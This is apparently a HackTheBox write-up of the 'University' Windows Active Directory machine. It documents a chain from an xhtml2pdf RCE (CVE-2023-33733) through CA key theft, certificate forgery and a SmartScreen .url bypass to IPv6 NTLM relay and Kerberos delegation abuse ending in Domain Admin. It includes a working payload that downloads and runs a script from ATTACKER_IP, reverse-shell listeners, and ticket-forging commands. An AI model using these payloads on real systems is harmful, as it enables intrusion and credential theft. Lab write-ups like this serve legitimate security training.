HTB: University Writeup
University - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | University |
| OS | Windows |
| Difficulty | Insane |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.10.11.X |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐⭐ (5/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐⭐☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
University is an Insane-rated Windows Active Directory machine built around a custom university learning portal. The web app’s PDF-export feature runs on a vulnerable xhtml2pdf build (CVE-2023-33733), giving an unauthenticated foothold as a low-privileged service account. From there, the Certificate Authority’s private key sitting on disk lets an attacker forge a signed login certificate for any user, hijacking a professor account. That account is then used to weaponize the platform’s own “lecture submission → content evaluation” workflow against CVE-2023-36025 (a Windows SmartScreen/.url Mark-of-the-Web bypass), landing code execution as a domain user on an internal evaluation workstation. A carefully staged mitm6 + ntlmrelayx attack over IPv6 then abuses Resource-Based Constrained Delegation to seize that workstation as Administrator, and a final Kerberos TGT-capture-and-relay chain (Rubeus → Account Operators → GMSA password read → S4U2self/S4U2proxy) delivers Domain Admin on the DC.
TL;DR: CVE-2023-33733 (xhtml2pdf RCE via Bio→PDF export) → wao → cracked db-backup-automator.ps1 7z password → WinRM → exfil root CA key/cert → forge cert for professor nya → CVE-2023-36025 (.url/GPG-signed lecture ZIP) → shell as martin.t (user flag) → mitm6 + ntlmrelayx RBCD relay over IPv6 against internal pivot LAB-2 → Administrator on WS-3 → Rubeus TGT capture of Rose.L → Account Operators reads GMSA-PClient01$ password → S4U2self/S4U2proxy for www/dc.university.htb impersonating Administrator → DC compromise (root flag).
Reconnaissance
Port Scanning
# Full TCP sweep, then targeted service/version scannmap -p- --min-rate=1000 -T4 10.10.11.Xnmap -sC -sV -p<open-ports> 10.10.11.XResults (relevant services): the scan exposes a classic AD footprint — DNS, Kerberos, LDAP/LDAPS, SMB, RPC — plus a web server on port 80 hosting the university portal, and WinRM (5985) reachable once valid domain creds are in hand. Two hostnames matter for the rest of the chain: the domain itself, university.htb, and the Domain Controller, dc.university.htb.
# Domain/DC hostnames must resolve for Kerberos and vhost routing to workecho "10.10.11.X university.htb dc.university.htb DC" | sudo tee -a /etc/hostsService Enumeration
The port-80 site is a remote-learning platform with Student and Professor account types. Registering a student account unlocks a profile page with a fully attacker-controlled Bio field, and a “Export to PDF” action that renders the profile (including the Bio) server-side into a PDF.
Vulnerability Assessment
- Bio → PDF export is rendered by
xhtml2pdf, a Python HTML/CSS-to-PDF library. Versions before the fix for CVE-2023-33733 evaluate attacker-controlledcolorattribute expressions inside<font color="...">tags as Python, giving arbitrary code execution on the server that generates the PDF. - The CA’s signing key material is stored on the same host filesystem the app runs on (
C:\Web\University\CA\), which becomes the pivot point for identity forgery once code execution is gained. - A separate patch-lag issue on the internal
WS-3/Content-Evaluator workstations opens the door for CVE-2023-36025, a Windows Defender SmartScreen bypass via crafted.url(Internet Shortcut) files that skip the Mark-of-the-Web prompt.
Initial Foothold
Exploitation Path — CVE-2023-33733 (xhtml2pdf RCE)
After registering a student account, the Bio field’s contents are exactly what lands in the exported PDF. xhtml2pdf’s color-attribute parser can be abused to reach os.system via a Python object-mutation trick (overriding __eq__/startswith on a crafted string-like class so the library’s internal color-name lookup executes attacker code as a side effect):
<!-- Bio field payload — triggers on "Export to PDF" --><para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell IEX(IWRhttp://ATTACKER_IP/shell.ps1 -usebasicparsing)') for Word in [ orgTypeFun( 'Word',(str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x:self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), },) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">x</font></para># Stage the reverse-shell PowerShell and catch the callbackpython3 -m http.server 80rlwrap nc -lvnp 9001Saving the Bio with this payload and clicking Export to PDF forces the server to render it — and executes the embedded os.system call — returning a reverse shell as university\wao.
Credential Discovery → WinRM
wao is a member of Remote Management Users, so any valid password for the account grants WinRM access. Enumerating the web root turned up C:\Web\DB Backup\db-backup-automator.ps1, a scheduled backup script that 7-Zips the app’s SQLite database with a hardcoded password:
# Recovered from db-backup-automator.ps1$7zCommand = "& `"$7zExePath`" a `"$zipFilePath`" `"$sourcePath`" -p'WebAO1337'"The password WebAO1337 matched the wao account:
evil-winrm -i university.htb -u wao -p 'WebAO1337'# *Evil-WinRM* PS C:\Users\wao\Documents> whoamiPrivilege Escalation
Stage 1 — CA Key Theft → Certificate Forgery → Professor Takeover
The portal supports a “login with signed certificate” flow: a user submits a CSR (Common Name + email matching their profile), the app’s internal CA signs it, and the resulting cert authenticates them at /accounts/login/SDC/ with no password. Since wao already has code execution on the box that hosts that CA, the signing key itself is reachable:
# On the wao shellls C:\Web\University\CA\# rootCA.crt / rootCA.key / rootCA.srl# Pull the CA material down over the WinRM sessionevil-winrm -i university.htb -u wao -p 'WebAO1337'*Evil-WinRM* PS> download CAWith the CA’s private key in hand, any user’s identity can be forged — including a professor. Professor nya’s public profile exposed the Common Name and email needed for a matching CSR:
# Generate a CSR whose CN/email match nya's public profile exactlyopenssl req -newkey rsa:2048 -keyout nya.key -out nya.csr
# Self-sign it using the stolen root CA — the app trusts anything this key signsopenssl x509 -req -in nya.csr -CA rootCA.crt -CAkey rootCA.key \ -CAcreateserial -out nya-forged.pemSubmitting nya-forged.pem at /accounts/login/SDC/ authenticates as professor nya with no password required — the app’s trust model treats “signed by our CA” as equivalent to “is this person,” which breaks down entirely once the CA key leaves the DC.
Stage 2 — CVE-2023-36025 → Code Execution as a Content Evaluator (martin.t)
As a professor, nya’s account can create courses and upload lecture material, which is reviewed by a dedicated Content Evaluators group before publishing — the exact mechanism abused here. The lecture-submission flow requires a detached GPG signature alongside the uploaded archive:
# Upload a GPG public key to the professor profile, then sign the malicious lecturegpg --export -a "nya" > pubkey.asc # uploaded via "Change Public Key"gpg -u nya --detach-sign lecture.ziplecture.zip was built to trigger CVE-2023-36025: Windows fails to apply Mark-of-the-Web / trigger SmartScreen for certain Internet Shortcut (.url) files, so a .url entry inside the archive pointing at an attacker-staged executable (amra.exe) runs silently when opened — no “unsafe file” warning:
# malicious .url inside the lecture ZIP[InternetShortcut]URL=http://ATTACKER_IP/amra.exeOnce submitted as a lecture, a Content Evaluator extracted the archive on the internal WS-3 workstation and opened the .url file — executing the staged amra.exe payload and returning a shell as university\martin.t, capturing user.txt.
Stage 3 — RBCD Relay Over IPv6 → Administrator on WS-3
From the internal Linux pivot host LAB-2, an NTLM relay attack was staged against the DC’s LDAP service to write Resource-Based Constrained Delegation onto WS-3$:
# Add a controlled machine account (machine account quota abuse)impacket-addcomputer -computer-name 'evilComp$' -computer-pass 'Passw0rd!' \ university.htb/martin.t
# Relay incoming NTLM auth straight to the DC's LDAP servicentlmrelayx.py -6 -t ldap://dc.university.htb \ --delegate-access --escalate-user 'evilComp$'
# Force IPv6 preference + capture WPAD-triggered auth from WS-3's machine accountmitm6 -d university.htbmitm6 hands out a rogue IPv6 DNS/WPAD configuration; when WS-3$ performs a routine Windows Update WPAD lookup, its machine-account NTLM authentication gets relayed by ntlmrelayx to the DC’s LDAP — writing evilComp$ into WS-3$’s msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD). That grants evilComp$ the right to obtain service tickets as anyone on WS-3:
# S4U2self + S4U2proxy impersonating Administrator, using evilComp$'s delegation rightgetST.py -spn 'cifs/WS-3.university.htb' -impersonate Administrator \ -dc-ip <DC_IP> 'university.htb/evilComp$:Passw0rd!'
export KRB5CCNAME=Administrator.ccacheevil-winrm -i WS-3.university.htb -r university.htbThis lands an Administrator session on WS-3.
Stage 4 — Domain Admin via GMSA S4U Chain
With Administrator on WS-3, Rubeus was set to monitor for incoming TGTs and captured one belonging to Rose.L:
# Passively harvest TGTs of users authenticating to WS-3.\Rubeus.exe monitor /interval:5 /nowrapRose.L’s ticket carries Account Operators privileges, sufficient to read the managed password blob (msDS-ManagedPassword) of a Group Managed Service Account, GMSA-PClient01$:
# Decrypt the GMSA's current NTLM hash from its managed-password blobgMSADumper.py -u 'Rose.L' -k -d university.htbThat GMSA’s NTLM hash is then used to request a service ticket for www/dc.university.htb via S4U2self/S4U2proxy, impersonating Administrator:
getST.py -spn 'www/dc.university.htb' -impersonate Administrator \ -dc-ip <DC_IP> 'university.htb/GMSA-PClient01$' -hashes :<gmsa_nt_hash>
export KRB5CCNAME=Administrator.ccachewmiexec.py -k -no-pass dc.university.htbThis grants a Kerberos-authenticated Administrator shell on the DC, capturing root.txt.
Attack Chain Summary
CVE-2023-33733 (xhtml2pdf RCE via Bio→PDF export) │ ▼university\wao (reverse shell) │ db-backup-automator.ps1 → 7z password "WebAO1337" ▼WinRM as wao → exfil C:\Web\University\CA\{rootCA.crt,rootCA.key} │ openssl-forge cert for professor "nya" ▼Login as nya via /accounts/login/SDC/ (cert auth) │ CVE-2023-36025 (.url + GPG-signed malicious lecture ZIP) ▼university\martin.t on WS-3 → USER FLAG │ mitm6 + ntlmrelayx (IPv6) → RBCD write on WS-3$ via evilComp$ ▼Administrator on WS-3 │ Rubeus TGT capture (Rose.L) → Account Operators → GMSA-PClient01$ NTLM │ S4U2self/S4U2proxy → www/dc.university.htb impersonating Administrator ▼Administrator on DC → ROOT FLAGTools Used
| Tool | Purpose |
|---|---|
nmap | Port/service enumeration |
xhtml2pdf CVE-2023-33733 PoC | Bio→PDF RCE payload construction |
evil-winrm | WinRM shell access as wao / Administrator |
7z | Cracking the DB backup archive password |
openssl | CSR generation + CA-signed certificate forgery |
gpg | Detached-signing the malicious lecture archive |
CVE-2023-36025 .url PoC | SmartScreen/MOTW bypass for lecture payload |
mitm6 | IPv6 DNS/WPAD spoofing |
Impacket ntlmrelayx.py | Relaying WS-3$ auth to DC LDAP, RBCD write |
Impacket addcomputer.py | Creating evilComp$ for RBCD |
Impacket getST.py | S4U2self/S4U2proxy ticket requests |
| Rubeus | Passive TGT capture (Rose.L) |
gMSADumper.py | Reading GMSA-PClient01$ managed password |
Impacket wmiexec.py | Final Kerberos-authenticated command execution on DC |
Key Learnings
Techniques Practiced
- Exploiting a real-world Python PDF-rendering library RCE (CVE-2023-33733) through an attacker-controlled profile field
- Recovering hardcoded credentials from an operational automation script
- Abusing on-disk CA key material to forge identity-asserting client certificates
- Weaponizing an application’s own peer-review/content-evaluation workflow as a delivery mechanism for a client-side exploit
- Exploiting CVE-2023-36025 (Windows SmartScreen
.urlMOTW bypass) for evaluator-side code execution - IPv6-based NTLM relay (
mitm6+ntlmrelayx) to write Resource-Based Constrained Delegation - Full S4U2self/S4U2proxy Kerberos delegation abuse chained twice (RBCD stage, then GMSA stage)
- Passive Kerberos TGT harvesting with Rubeus and Account Operators abuse to read a GMSA’s managed password
Lessons Learned
- Any server-side document-rendering pipeline (PDF export, thumbnailing, etc.) that touches user-controlled input is a de facto code-execution surface if the underlying library has a history of template-injection CVEs — check
Producer/Creatormetadata on generated files. - Automation scripts (
db-backup-automator.ps1) that hardcode passwords “for convenience” routinely double as valid domain credentials — always harvest scripts and scheduled tasks after a foothold. - Storing a CA’s private key on a general-purpose application server (rather than an isolated signing host) turns any code-execution bug on that server into a full identity-forgery primitive.
- Human-in-the-loop review processes (content evaluators, moderators) are a legitimate delivery channel for client-side exploits — treat “someone will open this file” as an assumed capability once you control what gets submitted for review.
- IPv6 is enabled and unmonitored by default on most Windows networks;
mitm6remains devastatingly effective for coercing authentication even in mature, patched AD environments. - Constrained/Resource-Based Delegation abuse chains compound — a single relay-won RBCD foothold can be pivoted again through a completely separate Kerberos delegation abuse (S4U against a GMSA) to reach Domain Admin.
Proof of Ownership
User Flag (university\martin.t @ WS-3): <redacted>Root Flag (university\administrator @ DC): <redacted>References
- “University” — HackTheBox machine writeup prepared by amra (machine author: Spectra199), used here for CVE identification (CVE-2023-33733, CVE-2023-36025) and conceptual explanation of the WPAD/mitm6 relay and certificate-forgery mechanics. All IPs, credentials, filenames, and command output in this writeup are from the author’s own solve, not the reference.